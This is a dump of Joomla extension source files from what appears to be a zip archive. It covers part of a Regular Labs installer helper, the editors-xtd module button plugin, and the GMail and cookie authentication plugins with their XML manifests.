	}

	public function onAfterInstall($route)
	{
	}

	public function delete($files = [])
	{
		foreach ($files as $file)
		{
			if (is_dir($file))
			{
				JFolder::delete($file);
			}

			if (is_file($file))
			{
				JFile::delete($file);
			}
		}
	}

	public function fixAssetsRules($rules = '{"core.admin":[],"core.manage":[]}')
	{
		// replace default rules value {} with the correct initial value
		$query = $this->db->getQuery(true)
			->update($this->db->quoteName('#__assets'))
			->set($this->db->quoteName('rules') . ' = ' . $this->db->quote($rules))
			->where($this->db->quoteName('title') . ' = ' . $this->db->quote('com_' . $this->extname))
			->where($this->db->quoteName('rules') . ' = ' . $this->db->quote('{}'));
		$this->db->setQuery($query);
		$this->db->execute();
	}

	private function fixExtensionNames()
	{
		switch ($this->extension_type)
		{
			case 'module' :
				$this->fixModuleNames();
		}
	}

	private function fixModuleNames()
	{
		// Get module id
		$query = $this->db->getQuery(true)
			->select($this->db->quoteName('id'))
			->from('#__modules')
			->where($this->db->quoteName('module') . ' = ' . $this->db->quote('mod_' . $this->extname))
			->where($this->db->quoteName('client_id') . ' = ' . (int) $this->client_id);
		$this->db->setQuery($query, 0, 1);
		$module_id = $this->db->loadResult();

		if (empty($module_id))
		{
			return;
		}

		$title = 'Regular Labs - ' . JText::_($this->name);

		$query->clear()
			->update('#__modules')
			->set($this->db->quoteName('title') . ' = ' . $this->db->quote($title))
			->where($this->db->quoteName('id') . ' = ' . (int) $module_id)
			->where($this->db->quoteName('title') . ' LIKE ' . $this->db->quote('NoNumber%'));
		$this->db->setQuery($query);
		$this->db->execute();

		// Fix module assets

		// Get asset id
		$query = $this->db->getQuery(true)
			->select($this->db->quoteName('id'))
			->from('#__assets')
			->where($this->db->quoteName('name') . ' = ' . $this->db->quote('com_modules.module.' . (int) $module_id))
			->where($this->db->quoteName('title') . ' LIKE ' . $this->db->quote('NoNumber%'));
		$this->db->setQuery($query, 0, 1);
		$asset_id = $this->db->loadResult();

		if (empty($asset_id))
		{
			return;
		}

		$query->clear()
			->update('#__assets')
			->set($this->db->quoteName('title') . ' = ' . $this->db->quote($title))
			->where($this->db->quoteName('id') . ' = ' . (int) $asset_id);
		$this->db->setQuery($query);
		$this->db->execute();
	}

	private function updateUpdateSites()
	{
		$this->removeOldUpdateSites();
		$this->updateNamesInUpdateSites();
		$this->updateHttptoHttpsInUpdateSites();
		$this->removeDuplicateUpdateSite();
		$this->updateDownloadKey();
	}

	private function removeOldUpdateSites()
	{
		$query = $this->db->getQuery(true)
			->select($this->db->quoteName('update_site_id'))
			->from('#__update_sites')
			->where($this->db->quoteName('location') . ' LIKE ' . $this->db->quote('nonumber.nl%'))
			->where($this->db->quoteName('location') . ' LIKE ' . $this->db->quote('%e=' . $this->alias . '%'));
		$this->db->setQuery($query, 0, 1);
		$id = $this->db->loadResult();

		if ( ! $id)
		{
			return;
		}

		$query->clear()
			->delete('#__update_sites')
			->where($this->db->quoteName('update_site_id') . ' = ' . (int) $id);
		$this->db->setQuery($query);
		$this->db->execute();

		$query->clear()
			->delete('#__update_sites_extensions')
			->where($this->db->quoteName('update_site_id') . ' = ' . (int) $id);
		$this->db->setQuery($query);
		$this->db->execute();
	}

	private function updateNamesInUpdateSites()
	{
		$name = JText::_($this->name);
		if ($this->alias != 'extensionmanager')
		{
			$name = 'Regular Labs - ' . $name;
		}

		$query = $this->db->getQuery(true)
			->update('#__update_sites')
			->set($this->db->quoteName('name') . ' = ' . $this->db->quote($name))
			->where($this->db->quoteName('location') . ' LIKE ' . $this->db->quote('%download.regularlabs.com%'))
			->where($this->db->quoteName('location') . ' LIKE ' . $this->db->quote('%e=' . $this->alias . '%'));
		$this->db->setQuery($query);
		$this->db->execute();
	}

	private function updateHttptoHttpsInUpdateSites()
	{
		$query = $this->db->getQuery(true)
			->update('#__update_sites')
			->set($this->db->quoteName('location') . ' = REPLACE('
				. $this->db->quoteName('location') . ', '
				. $this->db->quote('http://') . ', '
				. $this->db->quote('https://')
				. ')')
			->where($this->db->quoteName('location') . ' LIKE ' . $this->db->quote('http://download.regularlabs.com%'));
		$this->db->setQuery($query);
		$this->db->execute();
	}

	private function removeDuplicateUpdateSite()
	{
		// First check to see if there is a pro entry

		$query = $this->db->getQuery(true)
			->select($this->db->quoteName('update_site_id'))
			->from('#__update_sites')
			->where($this->db->quoteName('location') . ' LIKE ' . $this->db->quote('%download.regularlabs.com%'))
			->where($this->db->quoteName('location') . ' LIKE ' . $this->db->quote('%e=' . $this->alias . '%'))
			->where($this->db->quoteName('location') . ' NOT LIKE ' . $this->db->quote('%pro=1%'));
		$this->db->setQuery($query, 0, 1);
		$id = $this->db->loadResult();

		// Otherwise just get the first match
		if ( ! $id)
		{
			$query->clear()
				->select($this->db->quoteName('update_site_id'))
				->from('#__update_sites')
				->where($this->db->quoteName('location') . ' LIKE ' . $this->db->quote('%download.regularlabs.com%'))
				->where($this->db->quoteName('location') . ' LIKE ' . $this->db->quote('%e=' . $this->alias . '%'));
			$this->db->setQuery($query, 0, 1);
			$id = $this->db->loadResult();

			// Remove pro=1 from the found update site
			$query->clear()
				->update('#__update_sites')
				->set($this->db->quoteName('location')
					. ' = replace(' . $this->db->quoteName('location') . ', ' . $this->db->quote('&pro=1') . ', ' . $this->db->quote('') . ')')
				->where($this->db->quoteName('update_site_id') . ' = ' . (int) $id);
			$this->db->setQuery($query);
			$this->db->execute();
		}

		if ( ! $id)
		{
			return;
		}

		$query->clear()
			->select($this->db->quoteName('update_site_id'))
			->from('#__update_sites')
			->where($this->db->quoteName('location') . ' LIKE ' . $this->db->quote('%download.regularlabs.com%'))
			->where($this->db->quoteName('location') . ' LIKE ' . $this->db->quote('%e=' . $this->alias . '%'))
			->where($this->db->quoteName('update_site_id') . ' != ' . $id);
		$this->db->setQuery($query);
		$ids = $this->db->loadColumn();

		if (empty($ids))
		{
			return;
		}

		$query->clear()
			->delete('#__update_sites')
			->where($this->db->quoteName('update_site_id') . ' IN (' . implode(',', $ids) . ')');
		$this->db->setQuery($query);
		$this->db->execute();

		$query->clear()
			->delete('#__update_sites_extensions')
			->where($this->db->quoteName('update_site_id') . ' IN (' . implode(',', $ids) . ')');
		$this->db->setQuery($query);
		$this->db->execute();
	}

	// Save the download key from the Regular Labs Extension Manager config to the update sites
	private function updateDownloadKey()
	{
		$query = $this->db->getQuery(true)
			->select($this->db->quoteName('params'))
			->from('#__extensions')
			->where($this->db->quoteName('element') . ' = ' . $this->db->quote('com_regularlabsmanager'));
		$this->db->setQuery($query);
		$params = $this->db->loadResult();

		if ( ! $params)
		{
			return;
		}

		$params = json_decode($params);

		if ( ! isset($params->key))
		{
			return;
		}

		// Add the key on all regularlabs.com urls
		$query->clear()
			->update('#__update_sites')
			->set($this->db->quoteName('extra_query') . ' = ' . $this->db->quote('k=' . $params->key))
			->where($this->db->quoteName('location') . ' LIKE ' . $this->db->quote('%download.regularlabs.com%'));
		$this->db->setQuery($query);
		$this->db->execute();
	}

	private function removeAdminCache()
	{
		$this->delete([JPATH_ADMINISTRATOR . '/cache/regularlabs']);
		$this->delete([JPATH_ADMINISTRATOR . '/cache/nonumber']);
	}

	private function removeGlobalLanguageFiles()
	{
		if ($this->extension_type == 'library')
		{
			return;
		}

		$language_files = JFolder::files(JPATH_ADMINISTRATOR . '/language', '\.' . $this->getPrefix() . '_' . $this->extname . '\.', true, true);

		// Remove override files
		foreach ($language_files as $i => $language_file)
		{
			if (strpos($language_file, '/overrides/') === false)
			{
				continue;
			}

			unset($language_files[$i]);
		}

		if (empty($language_files))
		{
			return;
		}

		JFile::delete($language_files);
	}

	private function removeUnusedLanguageFiles()
	{
		if ($this->extension_type == 'library')
		{
			return;
		}

		$installed_languages = array_merge(
			JFolder::folders(JPATH_SITE . '/language'),
			JFolder::folders(JPATH_ADMINISTRATOR . '/language')
		);

		$languages = array_diff(
			JFolder::folders(__DIR__ . '/language'),
			$installed_languages
		);

		$delete_languages = [];

		foreach ($languages as $language)
		{
			$delete_languages[] = $this->getMainFolder() . '/language/' . $language;
		}

		if (empty($delete_languages))
		{
			return;
		}

		// Remove folders
		$this->delete($delete_languages);
	}
}
PK       ! C      editors-xtd/module/module.phpnu bS        <?php
/**
 * @package     Joomla.Plugin
 * @subpackage  Editors-xtd.module
 *
 * @copyright   (C) 2015 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

/**
 * Editor Module button
 *
 * @since  3.5
 */
class PlgButtonModule extends JPlugin
{
	/**
	 * Load the language file on instantiation.
	 *
	 * @var    boolean
	 * @since  3.5
	 */
	protected $autoloadLanguage = true;

	/**
	 * Display the button
	 *
	 * @param   string  $name  The name of the button to add
	 *
	 * @return  JObject  The button options as JObject
	 *
	 * @since   3.5
	 */
	public function onDisplay($name)
	{
		/*
		 * Use the built-in element view to select the module.
		 * Currently uses blank class.
		 */
		$user  = JFactory::getUser();

		if ($user->authorise('core.create', 'com_modules')
			|| $user->authorise('core.edit', 'com_modules')
			|| $user->authorise('core.edit.own', 'com_modules'))
		{
			$link = 'index.php?option=com_modules&amp;view=modules&amp;layout=modal&amp;tmpl=component&amp;editor='
					. $name . '&amp;' . JSession::getFormToken() . '=1';

			$button          = new JObject;
			$button->modal   = true;
			$button->class   = 'btn';
			$button->link    = $link;
			$button->text    = JText::_('PLG_MODULE_BUTTON_MODULE');
			$button->name    = 'file-add';
			$button->options = "{handler: 'iframe', size: {x: 800, y: 500}}";

			return $button;
		}
	}
}
PK       !       editors-xtd/module/module.xmlnu bS        <?xml version="1.0" encoding="utf-8"?>
<extension version="3.6" type="plugin" group="editors-xtd" method="upgrade">
	<name>plg_editors-xtd_module</name>
	<author>Joomla! Project</author>
	<creationDate>October 2015</creationDate>
	<copyright>(C) 2015 Open Source Matters, Inc.</copyright>
	<license>GNU General Public License version 2 or later; see LICENSE.txt</license>
	<authorEmail>admin@joomla.org</authorEmail>
	<authorUrl>www.joomla.org</authorUrl>
	<version>3.5.0</version>
	<description>PLG_MODULE_XML_DESCRIPTION</description>
	<files>
		<filename plugin="module">module.php</filename>
	</files>
	<languages>
		<language tag="en-GB">en-GB.plg_editors-xtd_module.ini</language>
		<language tag="en-GB">en-GB.plg_editors-xtd_module.sys.ini</language>
	</languages>
</extension>
PK       ! V        authentication/gmail/index.htmlnu bS        <!DOCTYPE html><title></title>
PK       ! ,	  ,	    authentication/gmail/gmail.xmlnu bS        <?xml version="1.0" encoding="utf-8"?>
<extension version="3.1" type="plugin" group="authentication" method="upgrade">
	<name>plg_authentication_gmail</name>
	<author>Joomla! Project</author>
	<creationDate>February 2006</creationDate>
	<copyright>(C) 2006 Open Source Matters, Inc.</copyright>
	<license>GNU General Public License version 2 or later; see LICENSE.txt</license>
	<authorEmail>admin@joomla.org</authorEmail>
	<authorUrl>www.joomla.org</authorUrl>
	<version>3.0.0</version>
	<description>PLG_GMAIL_XML_DESCRIPTION</description>
	<files>
		<filename plugin="gmail">gmail.php</filename>
	</files>
	<languages>
		<language tag="en-GB">en-GB.plg_authentication_gmail.ini</language>
		<language tag="en-GB">en-GB.plg_authentication_gmail.sys.ini</language>
	</languages>
	<config>
		<fields name="params">
			<fieldset name="basic">
				<field
					name="applysuffix"
					type="list"
					label="PLG_GMAIL_FIELD_APPLYSUFFIX_LABEL"
					description="PLG_GMAIL_FIELD_APPLYSUFFIX_DESC"
					default="0"
					filter="integer"
					>
					<option value="0">PLG_GMAIL_FIELD_VALUE_NOAPPLYSUFFIX</option>
					<option value="1">PLG_GMAIL_FIELD_VALUE_APPLYSUFFIXMISSING</option>
					<option value="2">PLG_GMAIL_FIELD_VALUE_APPLYSUFFIXALWAYS</option>
				</field>

				<field
					name="suffix"
					type="text"
					label="PLG_GMAIL_FIELD_SUFFIX_LABEL"
					description="PLG_GMAIL_FIELD_SUFFIX_DESC"
					size="20"
					showon="applysuffix:1,2"
				/>

				<field
					name="verifypeer"
					type="radio"
					label="PLG_GMAIL_FIELD_VERIFYPEER_LABEL"
					description="PLG_GMAIL_FIELD_VERIFYPEER_DESC"
					default="1"
					filter="integer"
					class="btn-group btn-group-yesno"
					>
					<option value="1">JYES</option>
					<option value="0">JNO</option>
				</field>

				<field
					name="user_blacklist"
					type="text"
					label="PLG_GMAIL_FIELD_USER_BLACKLIST_LABEL"
					description="PLG_GMAIL_FIELD_USER_BLACKLIST_DESC"
					size="20"
				/>

				<field
					name="backendLogin"
					type="radio"
					label="PLG_GMAIL_FIELD_BACKEND_LOGIN_LABEL"
					description="PLG_GMAIL_FIELD_BACKEND_LOGIN_DESC"
					default="0"
					filter="integer"
					class="btn-group btn-group-yesno"
					>
					<option value="1">JENABLED</option>
					<option value="0">JDISABLED</option>
				</field>
			</fieldset>
		</fields>
	</config>
</extension>
PK       ! f]  ]    authentication/gmail/gmail.phpnu bS        <?php
/**
 * @package     Joomla.Plugin
 * @subpackage  Authentication.gmail
 *
 * @copyright   (C) 2006 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

use Joomla\CMS\Authentication\AuthenticationResponse;
use Joomla\Registry\Registry;

/**
 * GMail Authentication Plugin
 *
 * @since  1.5
 */
class PlgAuthenticationGMail extends JPlugin
{
	/**
	 * This method should handle any authentication and report back to the subject
	 *
	 * @param   array                   $credentials  Array holding the user credentials
	 * @param   array                   $options      Array of extra options
	 * @param   AuthenticationResponse  &$response    Authentication response object
	 *
	 * @return  void
	 *
	 * @since   1.5
	 */
	public function onUserAuthenticate($credentials, $options, &$response)
	{
		// Load plugin language
		$this->loadLanguage();

		// No backend authentication
		if (JFactory::getApplication()->isClient('administrator') && !$this->params->get('backendLogin', 0))
		{
			return;
		}

		$success = false;

		$curlParams = array(
			'follow_location' => true,
			'transport.curl'  => array(
				CURLOPT_SSL_VERIFYPEER => $this->params->get('verifypeer', 1)
			),
		);

		$transportParams = new Registry($curlParams);

		try
		{
			$http = JHttpFactory::getHttp($transportParams, 'curl');
		}
		catch (RuntimeException $e)
		{
			$response->status        = JAuthentication::STATUS_FAILURE;
			$response->type          = 'GMail';
			$response->error_message = JText::sprintf('JGLOBAL_AUTH_FAILED', JText::_('JGLOBAL_AUTH_CURL_NOT_INSTALLED'));

			return;
		}

		// Check if we have a username and password
		if ($credentials['username'] === '' || $credentials['password'] === '')
		{
			$response->type          = 'GMail';
			$response->status        = JAuthentication::STATUS_FAILURE;
			$response->error_message = JText::sprintf('JGLOBAL_AUTH_FAILED', JText::_('JGLOBAL_AUTH_USER_BLACKLISTED'));

			return;
		}

		$blacklist = explode(',', $this->params->get('user_blacklist', ''));

		// Check if the username isn't blacklisted
		if (in_array($credentials['username'], $blacklist))
		{
			$response->type          = 'GMail';
			$response->status        = JAuthentication::STATUS_FAILURE;
			$response->error_message = JText::sprintf('JGLOBAL_AUTH_FAILED', JText::_('JGLOBAL_AUTH_USER_BLACKLISTED'));

			return;
		}

		$suffix      = $this->params->get('suffix', '');
		$applysuffix = $this->params->get('applysuffix', 0);
		$offset      = strpos($credentials['username'], '@');

		// Check if we want to do suffix stuff, typically for Google Apps for Your Domain
		if ($suffix && $applysuffix)
		{
			if ($applysuffix == 1 && $offset === false)
			{
				// Apply suffix if missing
				$credentials['username'] .= '@' . $suffix;
			}
			elseif ($applysuffix == 2)
			{
				// Always use suffix
				if ($offset)
				{
					// If we already have an @, get rid of it and replace it
					$credentials['username'] = substr($credentials['username'], 0, $offset);
				}

				$credentials['username'] .= '@' . $suffix;
			}
		}

		$headers = array(
			'Authorization' => 'Basic ' . base64_encode($credentials['username'] . ':' . $credentials['password'])
		);

		try
		{
			$result = $http->get('https://mail.google.com/mail/feed/atom', $headers);
		}
		catch (Exception $e)
		{
			$response->status        = JAuthentication::STATUS_FAILURE;
			$response->type          = 'GMail';
			$response->error_message = JText::sprintf('JGLOBAL_AUTH_FAILED', JText::_('JGLOBAL_AUTH_UNKNOWN_ACCESS_DENIED'));

			return;
		}

		$code = $result->code;

		switch ($code)
		{
			case 200 :
				$message = JText::_('JGLOBAL_AUTH_ACCESS_GRANTED');
				$success = true;
				break;

			case 401 :
				$message = JText::_('JGLOBAL_AUTH_ACCESS_DENIED');
				break;

			default :
				$message = JText::_('JGLOBAL_AUTH_UNKNOWN_ACCESS_DENIED');
				break;
		}

		$response->type = 'GMail';

		if (!$success)
		{
			$response->status        = JAuthentication::STATUS_FAILURE;
			$response->error_message = JText::sprintf('JGLOBAL_AUTH_FAILED', $message);

			return;
		}

		if (strpos($credentials['username'], '@') === false)
		{
			if ($suffix)
			{
				// If there is a suffix then we want to apply it
				$email = $credentials['username'] . '@' . $suffix;
			}
			else
			{
				// If there isn't a suffix just use the default gmail one
				$email = $credentials['username'] . '@gmail.com';
			}
		}
		else
		{
			// The username looks like an email address (probably is) so use that
			$email = $credentials['username'];
		}

		// Extra security checks with existing local accounts
		$db                  = JFactory::getDbo();
		$localUsernameChecks = array(strstr($email, '@', true), $email);

		$query = $db->getQuery(true)
			->select('id, activation, username, email, block')
			->from('#__users')
			->where('username IN(' . implode(',', array_map(array($db, 'quote'), $localUsernameChecks)) . ')'
				. ' OR email = ' . $db->quote($email)
			);

		$db->setQuery($query);

		if ($localUsers = $db->loadObjectList())
		{
			foreach ($localUsers as $localUser)
			{
				// Local user exists with same username but different email address
				if ($email !== $localUser->email)
				{
					$response->status        = JAuthentication::STATUS_FAILURE;
					$response->error_message = JText::sprintf('JGLOBAL_AUTH_FAILED', JText::_('PLG_GMAIL_ERROR_LOCAL_USERNAME_CONFLICT'));

					return;
				}
				else
				{
					// Existing user disabled locally
					if ($localUser->block || !empty($localUser->activation))
					{
						$response->status        = JAuthentication::STATUS_FAILURE;
						$response->error_message = JText::_('JGLOBAL_AUTH_ACCESS_DENIED');

						return;
					}

					// We will always keep the local username for existing accounts
					$credentials['username'] = $localUser->username;

					break;
				}
			}
		}
		elseif (JFactory::getApplication()->isClient('administrator'))
		{
			// We wont' allow backend access without local account
			$response->status        = JAuthentication::STATUS_FAILURE;
			$response->error_message = JText::_('JERROR_LOGIN_DENIED');

			return;
		}

		$response->status        = JAuthentication::STATUS_SUCCESS;
		$response->error_message = '';
		$response->email         = $email;

		// Reset the username to what we ended up using
		$response->username = $credentials['username'];
		$response->fullname = $credentials['username'];
	}
}
PK       ! V        authentication/index.htmlnu bS        <!DOCTYPE html><title></title>
PK       ! 3-  -     authentication/cookie/cookie.phpnu bS        <?php
/**
 * @package     Joomla.Plugin
 * @subpackage  Authentication.cookie
 *
 * @copyright   (C) 2013 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

/**
 * Joomla Authentication plugin
 *
 * @since  3.2
 * @note   Code based on http://jaspan.com/improved_persistent_login_cookie_best_practice
 *         and http://fishbowl.pastiche.org/2004/01/19/persistent_login_cookie_best_practice/
 */
class PlgAuthenticationCookie extends JPlugin
{
	/**
	 * Application object
	 *
	 * @var    JApplicationCms
	 * @since  3.2
	 */
	protected $app;

	/**
	 * Database object
	 *
	 * @var    JDatabaseDriver
	 * @since  3.2
	 */
	protected $db;

	/**
	 * Reports the privacy related capabilities for this plugin to site administrators.
	 *
	 * @return  array
	 *
	 * @since   3.9.0
	 */
	public function onPrivacyCollectAdminCapabilities()
	{
		$this->loadLanguage();

		return array(
			JText::_('PLG_AUTHENTICATION_COOKIE') => array(
				JText::_('PLG_AUTH_COOKIE_PRIVACY_CAPABILITY_COOKIE'),
			)
		);
	}

	/**
	 * This method should handle any authentication and report back to the subject
	 *
	 * @param   array   $credentials  Array holding the user credentials
	 * @param   array   $options      Array of extra options
	 * @param   object  &$response    Authentication response object
	 *
	 * @return  boolean
	 *
	 * @since   3.2
	 */
	public function onUserAuthenticate($credentials, $options, &$response)
	{
		// No remember me for admin
		if ($this->app->isClient('administrator'))
		{
			return false;
		}

		// Get cookie
		$cookieName  = 'joomla_remember_me_' . JUserHelper::getShortHashedUserAgent();
		$cookieValue = $this->app->input->cookie->get($cookieName);

		// Try with old cookieName (pre 3.6.0) if not found
		if (!$cookieValue)
		{
			$cookieName  = JUserHelper::getShortHashedUserAgent();
			$cookieValue = $this->app->input->cookie->get($cookieName);
		}

		if (!$cookieValue)
		{
			return false;
		}

		$cookieArray = explode('.', $cookieValue);

		// Check for valid cookie value
		if (count($cookieArray) !== 2)
		{
			// Destroy the cookie in the browser.
			$this->app->input->cookie->set($cookieName, '', 1, $this->app->get('cookie_path', '/'), $this->app->get('cookie_domain', ''));
			JLog::add('Invalid cookie detected.', JLog::WARNING, 'error');

			return false;
		}

		$response->type = 'Cookie';

		// Filter series since we're going to use it in the query
		$filter = new JFilterInput;
		$series = $filter->clean($cookieArray[1], 'ALNUM');

		// Remove expired tokens
		$query = $this->db->getQuery(true)
			->delete('#__user_keys')
			->where($this->db->quoteName('time') . ' < ' . $this->db->quote(time()));

		try
		{
			$this->db->setQuery($query)->execute();
		}
		catch (RuntimeException $e)
		{
			// We aren't concerned with errors from this query, carry on
		}

		// Find the matching record if it exists.
		$query = $this->db->getQuery(true)
			->select($this->db->quoteName(array('user_id', 'token', 'series', 'time')))
			->from($this->db->quoteName('#__user_keys'))
			->where($this->db->quoteName('series') . ' = ' . $this->db->quote($series))
			->where($this->db->quoteName('uastring') . ' = ' . $this->db->quote($cookieName))
			->order($this->db->quoteName('time') . ' DESC');

		try
		{
			$results = $this->db->setQuery($query)->loadObjectList();
		}
		catch (RuntimeException $e)
		{
			$response->status = JAuthentication::STATUS_FAILURE;

			return false;
		}

		if (count($results) !== 1)
		{
			// Destroy the cookie in the browser.
			$this->app->input->cookie->set($cookieName, '', 1, $this->app->get('cookie_path', '/'), $this->app->get('cookie_domain', ''));
			$response->status = JAuthentication::STATUS_FAILURE;

			return false;
		}

		// We have a user with one cookie with a valid series and a corresponding record in the database.
		if (!JUserHelper::verifyPassword($cookieArray[0], $results[0]->token))
		{
			/*
			 * This is a real attack!
			 * Either the series was guessed correctly or a cookie was stolen and used twice (once by attacker and once by victim).
			 * Delete all tokens for this user!
			 */
			$query = $this->db->getQuery(true)
				->delete('#__user_keys')
				->where($this->db->quoteName('user_id') . ' = ' . $this->db->quote($results[0]->user_id));

			try
			{
				$this->db->setQuery($query)->execute();
			}
			catch (RuntimeException $e)
			{
				// Log an alert for the site admin
				JLog::add(
					sprintf('Failed to delete cookie token for user %s with the following error: %s', $results[0]->user_id, $e->getMessage()),
					JLog::WARNING,
					'security'
				);
			}

			// Destroy the cookie in the browser.
			$this->app->input->cookie->set($cookieName, '', 1, $this->app->get('cookie_path', '/'), $this->app->get('cookie_domain', ''));

			// Issue warning by email to user and/or admin?
			JLog::add(JText::sprintf('PLG_AUTH_COOKIE_ERROR_LOG_LOGIN_FAILED', $results[0]->user_id), JLog::WARNING, 'security');
			$response->status = JAuthentication::STATUS_FAILURE;

			return false;
		}

		// Make sure there really is a user with this name and get the data for the session.
		$query = $this->db->getQuery(true)
			->select($this->db->quoteName(array('id', 'username', 'password')))
			->from($this->db->quoteName('#__users'))
			->where($this->db->quoteName('username') . ' = ' . $this->db->quote($results[0]->user_id))
			->where($this->db->quoteName('requireReset') . ' = 0');

		try
		{
			$result = $this->db->setQuery($query)->loadObject();
		}
		catch (RuntimeException $e)
		{
			$response->status = JAuthentication::STATUS_FAILURE;

			return false;
		}

		if ($result)
		{
			// Bring this in line with the rest of the system
			$user = JUser::getInstance($result->id);

			// Set response data.
			$response->username = $result->username;
			$response->email    = $user->email;
			$response->fullname = $user->name;
			$response->password = $result->password;
			$response->language = $user->getParam('language');

			// Set response status.
			$response->status        = JAuthentication::STATUS_SUCCESS;
			$response->error_message = '';
		}
		else
		{
			$response->status        = JAuthentication::STATUS_FAILURE;
			$response->error_message = JText::_('JGLOBAL_AUTH_NO_USER');
		}
	}

	/**
	 * We set the authentication cookie only after login is successfully finished.
	 * We set a new cookie either for a user with no cookies or one
	 * where the user used a cookie to authenticate.
	 *
	 * @param   array  $options  Array holding options
	 *
	 * @return  boolean  True on success
	 *
	 * @since   3.2
	 */
	public function onUserAfterLogin($options)
	{
		// No remember me for admin
		if ($this->app->isClient('administrator'))
		{
			return false;
		}

		if (isset($options['responseType']) && $options['responseType'] === 'Cookie')
		{
			// Logged in using a cookie
			$cookieName = 'joomla_remember_me_' . JUserHelper::getShortHashedUserAgent();

			// We need the old data to get the existing series
			$cookieValue = $this->app->input->cookie->get($cookieName);

			// Try with old cookieName (pre 3.6.0) if not found
			if (!$cookieValue)
			{
				$oldCookieName = JUserHelper::getShortHashedUserAgent();
				$cookieValue   = $this->app->input->cookie->get($oldCookieName);

				// Destroy the old cookie in the browser
				$this->app->input->cookie->set($oldCookieName, '', 1, $this->app->get('cookie_path', '/'), $this->app->get('cookie_domain', ''));
			}

			$cookieArray = explode('.', $cookieValue);

			// Filter series since we're going to use it in the query
			$filter = new JFilterInput;
			$series = $filter->clean($cookieArray[1], 'ALNUM');
		}
		elseif (!empty($options['remember']))
		{
			// Remember checkbox is set
			$cookieName = 'joomla_remember_me_' . JUserHelper::getShortHashedUserAgent();

			// Create a unique series which will be used over the lifespan of the cookie
			$unique     = false;
			$errorCount = 0;

			do
			{
				$series = JUserHelper::genRandomPassword(20);
				$query  = $this->db->getQuery(true)
					->select($this->db->quoteName('series'))
					->from($this->db->quoteName('#__user_keys'))
					->where($this->db->quoteName('series') . ' = ' . $this->db->quote($series));

				try
				{
					$results = $this->db->setQuery($query)->loadResult();

					if ($results === null)
					{
						$unique = true;
					}
				}
				catch (RuntimeException $e)
				{
					$errorCount++;

					// We'll let this query fail up to 5 times before giving up, there's probably a bigger issue at this point
					if ($errorCount === 5)
					{
						return false;
					}
				}
			}

			while ($unique === false);
		}
		else
		{
			return false;
		}

		// Get the parameter values
		$lifetime = $this->params->get('cookie_lifetime', 60) * 24 * 60 * 60;
		$length   = $this->params->get('key_length', 16);

		// Generate new cookie
		$token       = JUserHelper::genRandomPassword($length);
		$cookieValue = $token . '.' . $series;

		// Overwrite existing cookie with new value
		$this->app->input->cookie->set(
			$cookieName,
			$cookieValue,
			time() + $lifetime,
			$this->app->get('cookie_path', '/'),
			$this->app->get('cookie_domain', ''),
			$this->app->isHttpsForced(),
			true
		);

		$query = $this->db->getQuery(true);

		if (!empty($options['remember']))
		{
			// Create new record
			$query
				->insert($this->db->quoteName('#__user_keys'))
				->set($this->db->quoteName('user_id') . ' = ' . $this->db->quote($options['user']->username))
				->set($this->db->quoteName('series') . ' = ' . $this->db->quote($series))
				->set($this->db->quoteName('uastring') . ' = ' . $this->db->quote($cookieName))
				->set($this->db->quoteName('time') . ' = ' . (time() + $lifetime));
		}
		else
		{
			// Update existing record with new token
			$query
				->update($this->db->quoteName('#__user_keys'))
				->where($this->db->quoteName('user_id') . ' = ' . $this->db->quote($options['user']->username))
				->where($this->db->quoteName('series') . ' = ' . $this->db->quote($series))
				->where($this->db->quoteName('uastring') . ' = ' . $this->db->quote($cookieName));
		}

		$hashedToken = JUserHelper::hashPassword($token);

		$query->set($this->db->quoteName('token') . ' = ' . $this->db->quote($hashedToken));

		try
		{
			$this->db->setQuery($query)->execute();
		}
		catch (RuntimeException $e)
		{
			return false;
		}

		return true;
	}

	/**
	 * This is where we delete any authentication cookie when a user logs out
	 *
	 * @param   array  $options  Array holding options (length, timeToExpiration)
	 *
	 * @return  boolean  True on success
	 *
	 * @since   3.2
	 */
	public function onUserAfterLogout($options)
	{
		// No remember me for admin
		if ($this->app->isClient('administrator'))
		{
			return false;
		}

		$cookieName  = 'joomla_remember_me_' . JUserHelper::getShortHashedUserAgent();
		$cookieValue = $this->app->input->cookie->get($cookieName);

		// There are no cookies to delete.
		if (!$cookieValue)
		{
			return true;
		}

		$cookieArray = explode('.', $cookieValue);

		// Filter series since we're going to use it in the query
		$filter = new JFilterInput;
		$series = $filter->clean($cookieArray[1], 'ALNUM');

		// Remove the record from the database
		$query = $this->db->getQuery(true)
			->delete('#__user_keys')
			->where($this->db->quoteName('series') . ' = ' . $this->db->quote($series));

		try
		{
			$this->db->setQuery($query)->execute();
		}
		catch (RuntimeException $e)
		{
			// We aren't concerned with errors from this query, carry on
		}

		// Destroy the cookie
		$this->app->input->cookie->set($cookieName, '', 1, $this->app->get('cookie_path', '/'), $this->app->get('cookie_domain', ''));

		return true;
	}
}
PK       ! G       authentication/cookie/cookie.xmlnu bS        <?xml version="1.0" encoding="utf-8"?>
<extension version="3.2" type="plugin" group="authentication" method="upgrade">
	<name>plg_authentication_cookie</name>
	<author>Joomla! Project</author>
	<creationDate>July 2013</creationDate>
	<copyright>(C) 2013 Open Source Matters, Inc.</copyright>
	<license>GNU General Public License version 2 or later; see LICENSE.txt</license>
	<authorEmail>admin@joomla.org</authorEmail>
	<authorUrl>www.joomla.org</authorUrl>
	<version>3.0.0</version>
	<description>PLG_AUTH_COOKIE_XML_DESCRIPTION</description>
	<files>
		<filename plugin="cookie">cookie.php</filename>
	</files>
	<languages>
		<language tag="en-GB">en-GB.plg_authentication_cookie.ini</language>
		<language tag="en-GB">en-GB.plg_authentication_cookie.sys.ini</language>
	</languages>
	<config>
		<fields name="params">
			<fieldset name="basic">
				<field
					name="cookie_lifetime"
					type="number"
					label="PLG_AUTH_COOKIE_FIELD_COOKIE_LIFETIME_LABEL"
					description="PLG_AUTH_COOKIE_FIELD_COOKIE_LIFETIME_DESC"
					default="60"
					filter="integer"
					required="true"
				/>

				<field
					name="key_length"
					type="list"
					label="PLG_AUTH_COOKIE_FIELD_KEY_LENGTH_LABEL"
					description="PLG_AUTH_COOKIE_FIELD_KEY_LENGTH_DESC"
					default="16"
					filter="integer"
					required="true"
					>
					<option value="8">8</option>
					<option value="16">16</option>
					<option value="32">32</option>
